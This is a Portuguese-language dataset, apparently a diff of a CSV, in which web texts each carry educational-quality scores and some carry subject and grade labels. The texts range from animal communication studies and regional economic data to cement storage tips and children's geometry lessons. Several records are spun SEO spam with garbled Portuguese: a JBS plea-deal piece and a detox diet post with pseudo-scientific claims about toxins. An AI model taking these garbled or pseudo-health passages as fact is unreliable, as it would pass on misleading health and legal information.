+Porém após quatro anos, por falta de verbas e outros contratempos Terrace teve que devolver Nim à sua reserva. No começo ele ficou de quarentena e chorava, pois desde os quinze dias de vida não convivera com outros chimpanzés. Porém, um ano mais tarde Terrace foi visitá-lo, mas ficou esperando perto de uma árvore no trajeto do passeio. No momento em que Nim o avistou deu um salto no ar de alegria. Terrace começou a falar com ele usando sinais, coisa que já não acontecia há um ano e ele respondeu, voltando a usar sinais sempre que se aproximava.
+3- Outros chimpanzés famosos foram as fêmeas Washoe e Lana.
+Washoe inclusive ensinou outros três chimpanzés (Loulis, Tatu e Dar) a usar sinais.
+4- Sofia, uma cadela SDR (sem raça definida).
+Sofia tem quatro anos e usa um tipo de teclado (um painel de 15 x 30 centímetros com oito teclas) para se comunicar. Ela foi selecionada de uma ninhada de sete filhotes, sendo separada de sua mãe quando tinha 50 dias, quando foi cirurgicamente esterilizada. Seu treinamento começou aos 2 meses de idade, em outubro de 2001. Pela equipe coordenada pelo etólogo César Ades.
+Ela tinha 4 meses quando começou a ser treinada para usar o teclado e 17 quando fez o teste final des...",original,original,original,original,4,0.8
+"MA é o Estado que mais aumenta empregos com carteira assinada no Nordeste
+Quem chega mais perto do Maranhão no Nordeste é a Bahia, com 1,42% de alta. Em seguida, vêm o Piauí (1,02%) e Ceará (0,92%). Os outros cinco Estados (Rio Grande do Norte, Sergipe, Paraíba, Pernambuco e Alagoas) tiveram queda.
+Se for considerado o intervalo dos últimos 12 meses (entre agosto de 2017 e julho de 2018), o Maranhão também alcança o maior aumento proporcional, com 2,45%. Quem mais chega perto é o Ceará, com 1,67%.
+Os dados foram sistematizados pelo Banco do Nordeste. De acordo com relatório da instituição, “o Maranhão registrou saldo positivo de 8.867 postos de emprego, de janeiro a julho de 2018. O resultado foi puxado em decorrência, principalmente, da expansão no nível de empregos do setor de Serviços (+6.979)”.
+“Os segmentos Indústria da Transformação (+2.454), Agropecuária (+1.580) e Serviços Industrias de Utilidade Pública (+400) também finalizaram o semestre com saldo positivo”, acrescenta o documento.
+O Maranhão tem conseguido gerar empregos graças à parceria firmada desde 2015 entre o Governo Flávio Dino e os empresários. Flávio estabeleceu incentivos para criar empregos, o que vem dando resultados concretos, como mostram os números.",original,original,original,original,3,0.6
+"Crise econômica afeta vendas do comércio varejista paraense no primeiro semestre - ZÉ DUDU
+Atualizado em 2 de setembro de 2015 15:07
+A Fundação Amazônia de Amparo à Pesquisa e Estudos do Pará (Fapespa) lançou em parceria com a Federação das Associações Comerciais Empresariais do Pará (Faciapa) e Associação Comercial do Pará …
+A Fundação Amazônia de Amparo à Pesquisa e Estudos do Pará (Fapespa) lançou em parceria com a Federação das Associações Comerciais Empresariais do Pará (Faciapa) e Associação Comercial do Pará (ACP), nesta terça-feira, 1º, o Boletim do Comércio Varejista, referente ao primeiro semestre deste ano. O relatório constata o impacto direto que os reajustes sobre os preços de produtos, como combustível, e serviços, como fornecimento de energia elétrica, tiveram no orçamento das famílias, reduzindo o poder de compra e, consequentemente, de consumo das famílias. O reflexo direto dessa retração foi o desaquecimento do comércio.
+O desempenho negativo das vendas de varejo no período foi constatado em 20 das 27 unidades federativas, tendo como consequência a retração do volume de vendas no Brasil, que foi de 2,2%. O Pará, que é o maior mercado consumidor do Norte do país, tem sofrido com os efeitos da conjuntura econômica. Desde 2010 que o setor do comércio varejista não registrava queda nas vendas do primeiro semestre. Contudo, nos primeiros seis meses deste ano, o Índice de Volume de Vendas (IVV) do segmento no Estado caiu 1,4% em relação a 2014.
+Segundo o Boletim, produzido pela Diretoria de Estudos e Pesquisas Socioeconômicas e Análise Conjuntural da Fapespa, os resultados do primeiro semestre deste ano devem-se também à suspensão de incentivos fiscais do governo federal. “Entre 2012 e 2013 o governo federal reduziu o Imposto de Produtos Industrializados (IPI) para produtos da ‘linha branca’ e o setor manteve-se aquecido. Já em 2014 e 2015, sem a redução, o setor varejista absorveu os efeitos, que também estão associados à elevação de tarifas e impostos, fatores que contribuíram para o contingenciamento dos gastos e para a retração da demanda, refletindo tanto no declínio das vendas, quanto na elevação dos preços”, explica Geovana Pires, diretora responsável pela pesquisa.
+A elevação dos níveis de preços é uma das variáveis responsáveis pela restrição do consumo e pela retração nas vendas do varejo no primeiro semestre de 2015, uma vez que acumulou variação positiva de 7,71% no período, superior à registrada no mesmo semestre de 2014 (5,35%), segundo a estimativa do Índice de Preços ao Consumidor (IPC-Fapespa) para a Região Metropolitana de Belém. Habitação e despesas pessoais foram os segmentos de maior alta no período (8,23% e 6,54%, respectivamente). Outro fator que influenciou nas vendas do semestre foi o grande número de feriados que caíram em dias próximos aos finais de semana.
+No que diz respeito à arrecadação do setor varejista na primeira metade de 2015, a desaceleração nas vendas impactou na receita e comprometeu o recolhimento do ICMS no setor. Neste sentido, segundo dados provisórios do Conselho Nacional de Política Fazendária (Confaz), no acumulado de janeiro a junho de 2015, foram arrecadados R$ 417.270 milhões em ICMS do setor varejista contra R$ 436.506 milhões (corrigido pelo IPCA, a preços de 2015) do acumulado do mesmo período de 2014, totalizando um recuo de 4,41% na arrecadação.
+Enquanto no primeiro semestre de 2014 a arrecadação do segmento varejista correspondeu a 50% do total arrecadado pelo setor do Comércio, nos seis primeiros meses de 2015 a proporção do varejo foi de 54%. Nesse cenário, a queda na arrecadação do ICMS no setor de Comércio teve menor impacto no recolhimento do varejo.
+Por outro lado, os municípios levantados pela Junta Comercial do Estado do Pará (Jucepa), à exceção da capital, Belém, obtiveram resultados positivos no que se refere à abertura de estabelecimentos, com destaque para Santarém, com registro de 402 novas empresas, seguido por Marabá e Ananindeua, com 394 e 300...",original,original,original,original,2,0.4
+"Dicas e macetes sobre Engenharia e Construção Civil, para aprender como construir na prática passo-a-passo.
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+Por Gabriel M. Marques março 21, 2016
+O cimento é o principal ingrediente do concreto, portanto o cimento dever ser um produto fabricado com qualidade garantida. Mas por ser quimicamente reativo com a água, tem que ser armazenado, transportado e manuseado com cuidado, para preservar a sua qualidade e evitar o desperdício.
+Veja abaixo algumas dicas de como armazenar as bolsas de cimento para não endurecer e acabar perdendo dinheiro.
+Mantenha cimento protegido da umidade
+O cimento é altamente sensível à umidade, e ele endurece e formas aglomerados quando exposto à água ou umidade. Então o local de armazenamento dos sacos de cimento, é importante para que eles se mantenham protegidos da umidade. Os sacos de cimento devem ser armazenados em uma estrutura seca e fechada e, protegidos da chuva e da umidade e os sacos empilhados de cimento deve ser mantida cobertos com folhas impermeáveis ou lona.
+Não coloque sacos de cimento diretamente no chão de concreto
+Para proteger os sacos de cimento da umidade saindo do chão, é ideal armazenar os sacos em uma superfície coberta com um pallet de madeira ou similar e assim colocar os sacos de cimento por cima.
+Mantenha os sacos de cimento protegidos durante o transporte
+Para impedir que os sacos sejam perfurados ou danificados, certifique-se de quaisquer objetos pontiagudos sejam removidos do veículo antes de carregar os sacos. Ao carregar os sacos de cimento, verifique se eles estão empilhados em direções alternadas, cobertos com uma lona ou amarrado com firmeza para impedir o movimento durante o transporte.
+Armazene os sacos cimento separadamente
+Não guarde os sacos de cimento com adubos ou outros produtos, pois qualquer contaminação pode afetar a qualidade e o desempenho do cimento.
+Forneça ventilação adequada quando armazenado em pallets em armazéns
+Ao armazenar sacos de cimento em pallets, espécie de caixote de madeira, em armazéns, certifique-se de que tenha ventilação adequada para evitar o acúmulo de ar úmido.
+Atenção: você sabia que os pallets depois de usados podem virar belos itens de decoração para a sua casa? Não sabia? Então, acesse a seguinte matéria e aprenda como fazer: passo-a-passo de móveis de pallet.
+Gire os sacos de cimento
+A força do cimento deteriora com o tempo assim gire o estoque para garantir a usabilidade. Verifique a data com os construtores e use o estoque mais antigo primeiro.
+Guarde cuidadosamente os restos de cimento
+Se você usou o cimento e o deixou em sacos rasgados ou abertos realmente deve ser utilizados logo na próxima vez, mas idealmente, devem ser colocar de novo em novos sacos plásticos ou grandes sacos de lixo e fechar firmemente com corda ou fita.
+Ao manusear os sacos de cimento:
+1- Certifique se os sacos de cimento não são descartáveis. Isto pode enfraquecer e danificar a embalagem.
+2- Role os sacos de cimento antes de levantar. Isso ajuda a soltar o cimento, e reduz as chances de divisão.
+Veja também: Tudo sobre como fazer um bom concreto.
+3- Quando transportar sacos de cimento individuais, não os carregue, segurando nas extremidades ou nas costas. Isso ajudará a evitar que o saco faça no meio uma divisão, e também reduz a pressão sobre os ombros e costas.
+4- Certifique se os sacos de cimento não são armazenados na posição vertical ou de lado, mas na horizontal, deitados, com suas partes largas para baixo e para cima.
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+Comentários
+Manoel disse…
+Primeiro crie consciência no pião - do contrario ele diz sim sim mas faz o que bem entende.
+4 de abril de 2016 23:12
+Marcelo heringer disse…
+Parabéns
+28 de outubro de 201...",original,original,original,original,3,0.6
+"fernandatrtima29157.look4blog.com
+Nesse caso, não por acaso, e sim por conta da relevância dos bens jurídicos protegidos em cada caso, prevê este Palavra Penal, de modo a o crime patrimonial do apropriaçãeste indé especialmentebita, pena de 1 a quatro anos de reclusão, e para o crime de peculato — aí incluído este peculato apropriação — a pena de 2 a 12 anos!
+O É DA COISA: Jair Bolsonaro tem a chance por descobrir a tempo virtude da política; não há caminho alternativo para demandas públicas
+Também igualmente similarmente identicamente conjuntamente dispôs este legislador Derivado do os critérios dos quais o magistrado deve se valer de modo a aplicar, em casos concretos, as penas sugeridas através acima referida escala penal. Entre eles, é bem verdade, está prevista a circunstância relativa às consequências do crime. Parece óbvio, contudo, qual se está ali tratando do AS SUAS consequências imediatas.
+É necessário qual se veja, no entanto, que as inegavelmente nefastas consequências socioeconômicas decorrentes da prática de tais crimes já foram por certo consideradas pelo legislador quando instituiu a escala penal — ou seja, as penas mínima e máxima — por cada um deles.
+Em tua primeira entrevista Acerca este caso JBS, a advogada Fernanda Tórtima esclarece uma sfoirie por pontos até por sua vez obscuros na narrativa da Muito mais clamorosa delaçãeste premiada celebrada — e actualmente questionada — pelo País.
+Este pedido foi feito, por pacto com a Procuradoria, ""após divulgaçãeste do reportagem da Folha do S.Paulo, utilizando a finalidade por evitar ilações impróprias e indevidas"". A reportagem confirmou a identidade do Tórtima nesta sexta através manhã após o jornal publicar informações Derivado do o encontro.
+Segundo os papelada anexados ao processo, o restaurante Nosso Ipanema, localizado na Rua Maria Quitéria, está em fase avançada do obras. Até dezembro do ano passado, ESTES sócios haviam investido pouco mais de R$ 1,3 milhãeste pelo projeto. O objetivo é criar “um local de modo a atrair programas culturais voltado a 1 público intelectual, destacando-se na noite carioca como referência pelo seu ambiente e pela sua própria culinária”.
+Segundo Joesley, Cardozo era 1 dos alvos das gravações da delação premiada por supostamente preservar sob tua influência alguns ministros do Supremo.
+Fernanda Tórtima — Nenhum papel. A colaboração foi negociada por mim e por Francisco por Assis. Marcello Miller apenas se inteirou dos fatos qual foram apresentados na colaboração simplesmente porque ele iria atuar na negociaçãeste do entendimento do leniência da empresa — qual versaria Acerca os mesmos fatos.
+As imagens são meramente ilustrativas do um produto novo com exemplos do unidades de que apresentam sinais de uso, ESTES quais podem ou nãeste estar presentes na unidade posta à venda. Os suplementos usados sãeste exibidos pelo sitio usando este selo USADO de modo a de que se destaquem Destes demais suplementos alimentares. GARANTIA
+De pacto utilizando os investigadores da Lava Jato, os valores são fruto do recebimento por propina em contrato da Petrobras na adquire de um campo por petróleo pelo Benin, avaliado em Muito mais do US$ 34 milhões.
+A propósito: este de que resultou da investigação determinada através ministra Cármen Lúcia? Nãeste está na hora do Raquel Dodge atuar, pautando-se mal através lei.
+Parece bastante óbvio qual o movimento em caso por corrupção seria este inverso. E tanto a questãeste do estabelecimento do início do relacionamento profissional utilizando o Miller era tratada com naturalidade que foi mencionada em reuniãeste na PGR já pelo começeste por março.
+A exoneração por Madruga foi anunciada depois do Tórtima e a PGR serem questionados através Folha Derivado do a participaçãeste dela na conversa. Ambos nãeste quiseram se manifestar. fonte do artigo Tórtima é citada na investigação qual apura a atuação do ex-­procurador Marcello Miller no convénio da empresa. Segundo os delatores, foi ela quem apresentou Miller à JB...",original,original,original,original,2,0.4
+"14 de julio de 2010 de Jimmy Astley	Deja un comentario
+>viagens interestaduais de ônibus são sempre hilárias ou péssimas. não sei como classificar a minha. primeiro porque me iludiram no início dizendo que o ônibus tinha rede wifi. rede ele até tinha, mas internet não. também não consegui dormir com a risada das pessoas que estavam super entretidas vendo um filme dublado que estava passando na televisão. demorou, mas cheguei em Recife vivo no meio de uma tempestade.
+o ônibus parou perto do aeroporto – que é bem mais perto da minha casa que a rodoviária – e assim que desci um taxista me abordou, perguntando se queria um táxi. disse que sim e disse a ele onde eu moro. ele simplesmente disse “não vou lá essa hora porque o transito tá péssimo”. E DAÍ que o transito tá pessimo? a corrida não iria sair mais cara por causa disso? e eu tenho culpa que o transito é ruim na hora do rush? enfim, me fudi. tive que atravessar uma avenida enorme manuseando malas e um guarda-chuva para chegar na fila de taxis do aeroporto e finalmente vir pra casa.
+chegando aqui descubro que um primo que não vejo há anos morreu e há toda uma comoção dos meus pais para que eu fosse no enterro. não entendo nem por que eles foram já que não tinham contato com ele. ele era uma figura simpática pra mim porque ao invés de ser cuzão como a maioria dos meus familiares, ele era fotografo e vivia em lugares cool. mas eu não tinha contato com ele. aconteceu a feliz coincidência de eu ter que dar aula justamente no horário do enterro então não pude ir. última coisa que eu queria depois de uma semana tão boa era ir para o encontro dos maiores hipócritas do mundo – leia-se, minha família paterna.
+como eu disse ontem, eu me sinto tão bem e renovado que já estou com planos de ir ao errejota em setembro. preciso visitar amigos lá e isso empolgou amigos meus daqui a irem comigo, o que vai ser ótimo porque nunca causamos juntos fora de casa. como a vodka me disse domingo, eu posso ser tão feliz. o que eu estava deixando acontecer comigo hein?",original,original,original,original,0,0.0
+"Como escrever uma carta de endosso _
+As cartas de endosso podem fazer uma candidatura de emprego se destacar diante das outras, ajudar um estudante a conseguir uma bolsa de estudos ou servir como uma recomendação para clubes e programas. A maioria das pessoas percebe o quão importante essas cartas podem ser, mas quando lhe pedem para escrever uma para alguém, pode ser difícil saber o que incluir nela.
+Se tiver sorte, um comitê de bolsas de estudo ou um empregador lhe perguntará por critérios específicos a serem analisados na carta de endosso, facilitando o seu trabalho para escrevê-la. Se o que for necessário não for comunicado, então será preciso começar a carta do zero. Algumas dicas lhe ajudarão a escrever tal carta.
+Coloque seu nome, endereço, número de telefone e endereço de e-mail no topo da carta, para dar um pouco de credibilidade a ela. A pessoa que receberá a recomendação sabe que poderá entrar em contato com você para questioná-lo com mais perguntas que possa ter.
+Pule duas linhas e digite o nome da pessoa a quem esteja redigindo carta. Se não for especificar o nome, use essas palavras: ""Para quem essa carta pode concernir:""
+Pule duas linhas e abra a sua carta com o propósito do endosso. Por exemplo, ""Estou escrevendo esta carta para recomendar João da Silva para uma posição em sua companhia como um assistente executivo""
+Explique como conhece a pessoa para quem está escrevendo o endosso. Se a pessoa for um ex-empregado, cite isso. Se for um vizinho, cite. Seja específico quanto ao período de tempo que você a conhece e sua relação com ela.
+Finalize a carta. O encerramento deve ser simples e objetivo. Mencione que você está disponível para responder a quaisquer perguntas. Finalize com um comentário sobre o quanto recomenda a pessoa que está endossando.
+Adicione um bloque para assinatura. Pule duas linhas e escreva ""Sinceramente"" e, então, pule quatro linhas e digite o seu nome.
+Imprima a carta e verifique por erros tipográficos. Se tudo estiver correto, assine no espaço em branco para assinatura (as quatro linhas que você pulou no bloco de assinatura). Sua carta está pronta.
+Evite escrever mais que uma página para a carta. Os empregadores podem ter várias cartas para ler, então mantenha-a curta e objetiva.
+Se estiver verdadeiramente endossando a pessoa, evite qualquer comentário negativo, mesmo de brincadeira.
+The Beehive: Amostra de carta de endosso [em inglês]
+Best Sample Resume: Amostra de carta de endosso para bolsas de estudo [em inglês]
+Como escrever uma carta elogiosa
+Escrevendo uma carta de agradecimento
+Como redigir uma carta de referência para uma enfermeira
+Como escrever uma carta de admissão para um programa de doutorado",original,original,original,original,2,0.4
+"Olá, pequenos exploradores! Já pararam para pensar que o mundo ao nosso redor é feito de formas? Elas estão em todos os lugares: na bola que usamos para jogar, no livro que lemos, na casa onde moramos e até mesmo na pizza que comemos! Vamos embarcar juntos em uma aventura para descobrir e entender melhor essas formas incríveis. 
+
+Começando pelo básico, temos o círculo. Imaginem o sol brilhando no céu ou uma moeda que usamos para comprar um doce. Ambos são círculos, não são? O círculo é uma forma redondinha que não tem cantos nem lados. Agora, pensem numa caixa de presente ou numa porta. Elas geralmente têm a forma de um retângulo. O retângulo tem quatro lados, sendo que os lados opostos são iguais. Se todos os quatro lados forem iguais, temos um quadrado, uma forma bem especial e equilibrada. Que tal procurar objetos quadrados e retangulares em sua casa? 
+
+Outra forma muito comum é o triângulo. Pensem numa fatia de pizza ou no telhado de uma casa. O triângulo tem três lados e três cantinhos, chamados vértices. Existem diferentes tipos de triângulos, mas todos eles compartilham essa característica de ter três lados. Já viram placas de sinalização de trânsito triangulares? Prestem atenção da próxima vez que estiverem na rua! 
+
+Agora, vamos para algo um pouco mais interessante. Vocês já ouviram falar em esfera, cubo e cilindro? Uma bola de futebol é uma esfera, um dado é um cubo e uma lata de refrigerante lembra um cilindro. Essas são formas tridimensionais, o que significa que elas têm altura, largura e profundidade. Elas ocupam espaço no mundo real! 
+
+Entender as formas geométricas é muito importante, pois nos ajuda a compreender melhor o mundo que nos cerca. A geometria está presente na arquitetura, na arte, na natureza e em muitas outras áreas. Ao reconhecer e nomear as diferentes formas, estamos desenvolvendo nosso raciocínio espacial e nossa capacidade de resolver problemas. 
+
+Que tal um desafio? Olhem ao redor e tentem identificar o maior número possível de formas geométricas. Desenhem essas formas em um papel e escrevam o nome delas. Compartilhem suas descobertas com seus amigos e familiares. Vocês vão se surpreender com quantas formas geométricas existem em nosso dia a dia! Lembrem-se, a matemática pode ser muito divertida quando exploramos o mundo das formas!",Matemática,Geometria e formas,anos iniciais (1º ao 5º ano),"O trecho apresenta um alto valor educacional, sendo perfeitamente adequado para o ensino fundamental. Ele introduz conceitos básicos de geometria de forma lúdica e acessível, utilizando exemplos do cotidiano para facilitar a compreensão. O texto é claro, consistente e estimula a exploração e o raciocínio espacial, incluindo um desafio prático para reforçar o aprendizado. O trecho não contém informações irrelevantes ou complexas, focando em conceitos adequados para a faixa etária.",5,1.0
+"A obsolescência do conhecimento – parte II
+Como vimos no texto anterior, o trabalhador tende a ficar obsoleto cada vez mais rápido, especialmente no que diz respeito às Competências Técnicas necessárias à realização de suas atividades.
+Uma das formas de se proteger deste desgaste natural, causado pelo inevitável avanço tecnológico, é dominar a teoria por trás da prática, conforme discutido recentemente em A Importância da Teoria. Ao investir em sua Competência Conceitual, o trabalhador consegue, desta forma, não só adaptar-se aos novos ambientes e suas respectivas exigências, mas também ser, ele próprio, o agente desta revolução.
+Conceito ou Tecnologia?
+Anos atrás as ferramentas de edição de imagens eram parrudas, espaçosas, pouco intuitivas e nada interativas. Hoje elas estão em tablets e smartphones, em variados graus de complexidade, finalidade e usabilidade. Outro dia vi um destes com uma câmera de 40 megapixels. O dono exibia uma foto de um encontro de balonismo em que, num único clique panorâmico, algumas dezenas de imagens eram possíveis, a partir de recortes variados e enquadramentos múltiplos.
+Independentemente da tecnologia embarcada ou da quantidade de pixels, a força bruta jamais substituirá o olhar do artista, o senso estético, a composição equilibrada – ou milimetricamente desequilibrada. São aptidões que transcendem hardware e software. Habilidades que se adaptam a versões, sobrevivem a upgrades e reinventam profissões.
+Mas por que razão, então, os profissionais preferem a prática à teoria? Simplesmente porque é muito mais fácil – de aprender e de ensinar. Porque teoria envolve raciocínio abstrato, sistêmico, holístico, conceitual. Enquanto isso, a prática vem da imitação, da ferramenta replicável, da tecla de atalho. Monkey see, monkey do.
+Do outro lado, os atuais programas de treinamento são quase inteiramente focados nesta última parte, reforçando um círculo vicioso que se retroalimente da sua própria obsolescência, da sua previsível defasagem, da manutenção deste status quo. E algo que as pessoas parecem se esquecer com frequência é que tão fácil quanto trocar as ferramentas é trocar as pessoas que seguram as ferramentas.
+No texto seguinte veremos como a Competência Organizacional se deteriora com o tempo e como uma prática comprovadamente ineficaz se perpetua no ambiente de trabalho. Prática esta que, por sinal, até o próximo texto ser publicado você usará pelo menos uma vez – simplesmente porque também não se atualizou. Clique aqui e leia!
+3 Comentários
+[…] que a cada 36 meses metade do seu conhecimento se deteriora. Intrigou-se ao perceber que todo o seu investimento em conhecimento técnico corre riscos. Surpreendeu-se ao descobrir que brainstorming é uma técnica ruim e defasada. Mas, honestamente, […]
+Rodolfo, o problema é que em algumas áreas precisamos das pessoas que são especialistas em sistemas, softwares e coisas mais técnicas. Nem todo mundo pode se dar ao luxo de ficar viajando em inovação, conceitos e essas coisas. Mas de resto é isso aí mesmo.",original,original,original,original,4,0.8
+"It seems you have no tags attached to pages. To attach a tag simply click on the tags button at the bottom of any page.
+Watchers
+rodrigofernandes2
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+Your Blog
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+Perca calorias E Impeça Doenças - 30 Apr 2018 14:35
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+Um dos grandes destaques de quem deseja emagrecer são os sucos funcionais, eles são ótimos para socorrer a reduzir as toxinas e limpar o corpo de forma eficiente e mais qualificada. Além dos sucos é impecável que as pessoas possam fazer de tudo pra absorver nutrientes que sejam ricos em fibras, porque eles auxiliam nas medidas enxutas e proporcionam maneiras diferentes de benefícios ao corpo. Insira frutas, legumes e verduras todos os dias em suas refeições, e outros aliados são os iogurtes, as farinhas de frutas e receitas light.Inicialmente, fique deitado com as costas no chão, juntamente com as pernas flexionadas e com os joelhos apontando pro teto. É indispensável manter os pés apoiados no chão. Posteriormente, levante a cota do corpo humano forçando o abdômen, sem encostar o peito nos joelhos flexionados. Apesar de ser suave e acessível, é recomendado fazer só 3 séries de 25 flexões, a cada dois dias.O Suco Detox popularizaram-se rapidamente por trazerem benefícios à saúde, bem como na expectativa de que emagrecem. Porém, as pessoas acabam tomando o suco sem saberem para qual propósito serve. Suco Detox descomplicado ajudam o fígado ir para o site a eliminar as toxinas que impedem o agradável funcionamento do nosso organismo. O fígado é o órgão qualificado de transformar todas essas toxinas e impurezas que consumimos todos os dias em substâncias elimináveis na urina e fezes.O uso de adoçantes é desaconselhado porque eles contém toxinas que prejudicam a perda de calorias, entretanto se você não resiste, experimento o Stévia, que é um adoçante natural ou use o mel, entretanto em pequenas quantidades. Pra não voltar a ganhar peso será preciso alguma obediência. O corpo humano é inteligente e, sendo assim, sempre que o cidadão ingere mais calorias e gorduras do que gasta, esta será armazenada em forma de gordura, de forma especial pela barriga. Emagrecer é possível e todos são capazes de surgir ao teu intuito.Não comer comida processada, como lasanha congelada, almôndegas prontas, bolos de caixinha, cookies e barrinhas de cereais industrializadas, em razão de contêm diversas toxinas e favorecem o acumulo de gordura. Quando consumidos à noite, muito eventualmente serão armazenados como gordura na barriga. Para não ter fome tem que-se comer alimentos ricos em fibras trocando o pão francês pelo integral, o macarrão comum pelo integral e o arroz branco pelo integral. Ingerir a cada 3 horas é muito relevante, mas não tem que consumir muito. Basta 1 fruta com um torrada integral ou 1 iogurte com cereais integrais, como por exemplo. Acesse como adicionar fibras em todas as refeições: Alimentos ricos em fibras.Levando isso em consideração, você com certeza irá entender que ingerir alimentos gordurosos e industrializados serão muito mais complicados de serem absorvidos do que um sanduíche natural. Sem apresentar que a qualidade do alimento é muito mais inferior do que o sanduíche, em conclusão, suas proporções de calorias nem sequer se comparam com um pacote de salgadinhos (extenso aliado dos foliões de plantão).O famoso Suco Detox, vêm fazendo o superior sucesso e não é por sorte. Além de hidratante e delicioso, o Suco Detox em geral têm ação desintoxicante, quer dizer, ajudam nosso corpo a eliminar toxinas, aumentando sendo assim o bem estar e auxiliando a prevenir imensas doenças. Existem Sucos Detox Pra Todos os Gostos: Desde sucos que ajudam a emagrecer, até sucos que asseguram um sono melhor à noite. Além do mais, Quanto ao preparo, não se preocupe, a maioria das receitas são feitas só batendo todos os ingredientes no liquidificador e servindo. Acabei de lembrar-me de outro website que bem como poderá ser proveitoso, l...",original,original,original,original,2,0.4
+"Assim como a esponja que se enche de água e depois de espremida volta à sua condição original sem qualquer sequela, o homem pode ser capaz da mesma habilidade, levantando-se de suas quedas mais forte e superando adversidades, se exercer a resiliência na sua plenitude!
+E por que a resiliência vem sendo tão mencionada e tem se tornado tão importante em nossas vidas, pessoal e profissional?
+A resiliência transformou-se em uma ferramenta de inteligência emocional indispensável nos dias atuais. Quando aceitamos nossos erros e reconhecemos nossos defeitos, estamos assumindo a nossa condição atual, o que nos auxilia a enxergar tudo com serenidade e tranqüilidade, traçar um novo rumo, com ações e metas claras, contribuindo para nossa evolução de uma maneira muito natural, sem traumas ou mágoas.
+Pode parecer difícil, porque muitas vezes não achamos que o erro é somente de nossa responsabilidade, sempre existe a outra parte, que nos dá um gosto amargo na boca, causa raiva e tristeza.
+Quanto a isto nada podemos fazer, a resiliência implica em assumirmos a nossa parte e sermos responsáveis por transformá-la e modificá-la em benefício próprio.
+A resiliência influi na inteligência, quanto mais a vida exige e mais você a exerce, mais acessará a sua capacidade mental, usufruindo de padrões desconhecidos e inutilizados até então.
+Também implica em sermos humildes para assumir que precisamos de ajuda no caminho da nossa transformação, seja ajuda profissional, de amigos, familiares ou líderes.
+Quanto mais aceitarmos assumir aquilo que está em nossas mãos para ser trabalhado, e menos projetarmos para fora a responsabilidade e a culpa, mais resilientes seremos.
+Um exercício interessante é observar as pessoas à nossa volta, alguns dão exemplos de resiliência na forma como se portam, não se deixando abater pelas situações que a vida lhes impõe, obtendo justamente daí a força para continuar e aprimorar! É como se fosse uma aposta consigo mesmo!
+Enquanto alguns projetam a responsabilidade para fora de si e sofrem com a indolência de seus atos, os resilientes extraem das exigências da vida a sua escola, galgando degraus cada vez maiores durante a sua passagem!
+Busque inspiração nas pessoas certas. Das pessoas que passam pela nossa vida, admire e escolha atitudes a serem copiadas, todo mundo tem algo a oferecer. Por fim, a resiliência é uma habilidade que pode ser adquirida, desenvolvida e aprimorada, basta reconhecer a transformação que ela pode conceber na sua existência!",original,original,original,original,4,0.8
+Morto que aquele filme do tubarão pode debutar com +20M,original,original,original,original,0,0.0
+"O japão é o primeiro humano orgasmo barracas de beira de estrada
+A madrasta veio para casa de embarque",original,original,original,original,0,0.0
+"Trabalhe tão duro que um dia sua assinatura será chamada de autógrafo.
+Trabalhe duro e mantenha-se humilde.
+Todos tem ideias, nem todos trabalham nelas.
+“Inspiração existe, mas ela precisa nos encontrar trabalhando” Picasso
+Trabalhe para se tornar e não para adquirir.
+“Todos foram feitos para algum trabalho em particular e o desejo por este trabalho foi colocado em cada coração” Rumi
+“O trabalho que você faz enquanto procrastina é provavelmente o trabalho que deveria estar fazendo pelo resto de sua vida” Jessica Hische
+“A melhor preparação para fazer um bom trabalho de amanhã é fazer um bom trabalho hoje” Elbert Hubband
+14 janeiro, 2014 frases de trabalho frases sobre trabalho",original,original,original,original,3,0.6
+"Educação no Reino Unido – Wikipédia, a enciclopédia livre
+A Educação no Reino Unido é uma sistema descentralizado, com cada um dos países do Reino Unido tendo um sistema diferente, gerenciado pelo governo desses países.[1]
+Sistema Educacional da Irlanda do Norte",original,original,original,original,3,0.6
+"Já parou para pensar em como as formas geométricas estão presentes em tudo ao nosso redor? Desde a tela do seu celular até a arquitetura dos prédios, a geometria é a base de muita coisa que vemos e usamos no dia a dia. Mas, afinal, o que é geometria e por que ela é tão importante? 
+
+A palavra ""geometria"" vem do grego e significa ""medida da terra"". Antigamente, era usada principalmente para medir terrenos e construir edifícios. Hoje, a geometria é muito mais do que isso! Ela é o estudo das formas, tamanhos, posições e propriedades dos objetos no espaço. Compreender a geometria nos ajuda a resolver problemas práticos e a desenvolver o raciocínio lógico. 
+
+Imagine que você precisa calcular a quantidade de tinta necessária para pintar uma parede do seu quarto. Para isso, você precisa saber a área da parede, que é uma medida geométrica. Ou, imagine que você está montando um móvel novo e precisa seguir um manual com desenhos e medidas. A geometria te ajuda a entender as instruções e a montar o móvel corretamente. 
+
+Existem diferentes tipos de formas geométricas. As formas planas, como quadrados, círculos e triângulos, são bidimensionais, ou seja, têm apenas duas dimensões: comprimento e largura. Já as formas espaciais, como cubos, esferas e pirâmides, são tridimensionais, pois têm três dimensões: comprimento, largura e altura. Cada uma dessas formas tem suas próprias características e propriedades. Por exemplo, um quadrado tem quatro lados iguais e quatro ângulos retos, enquanto um círculo é uma figura redonda que não tem lados nem ângulos. 
+
+Ao explorar as formas geométricas, podemos descobrir padrões e relações interessantes. Por exemplo, você sabia que a soma dos ângulos internos de qualquer triângulo é sempre igual a 180 graus? Ou que a área de um círculo pode ser calculada usando a fórmula πr², onde π (pi) é um número mágico que vale aproximadamente 3,14 e r é o raio do círculo? 
+
+A geometria não é apenas um monte de fórmulas e regras. É uma forma de ver o mundo de uma maneira mais organizada e lógica. Ao estudar geometria, você desenvolve habilidades importantes como a visualização espacial, o raciocínio dedutivo e a resolução de problemas. Então, da próxima vez que você olhar para um objeto, tente identificar as formas geométricas que o compõem e pense em como a geometria está presente em sua vida. Que tal começar a procurar formas geométricas na sua casa, na rua, na escola? Você vai se surpreender com a quantidade de coisas que você pode descobrir! E aí, preparado para essa aventura matemática?",Matemática,Geometria e formas,anos finais (6º ao 9º ano),"O trecho apresenta uma introdução acessível e relevante à geometria, explicando sua importância e aplicações no cotidiano. Introduz conceitos básicos como formas planas e espaciais, além de propriedades geométricas e fórmulas simples (área do círculo, soma dos ângulos de um triângulo). O texto é claro, incentivador e adequado para o ensino fundamental, promovendo a visualização espacial e o raciocínio lógico. Aborda o tema de forma simples, progressiva e interessante, fomentando a curiosidade e a exploração do mundo ao redor.",5,1.0
+"Comunicar é preciso! – sinalAberto
+A comunicação é toda a interacção que ocorre em contexto definido, seja introspectiva, entre agentes e grupos ou em acção pública generalista ou temática.
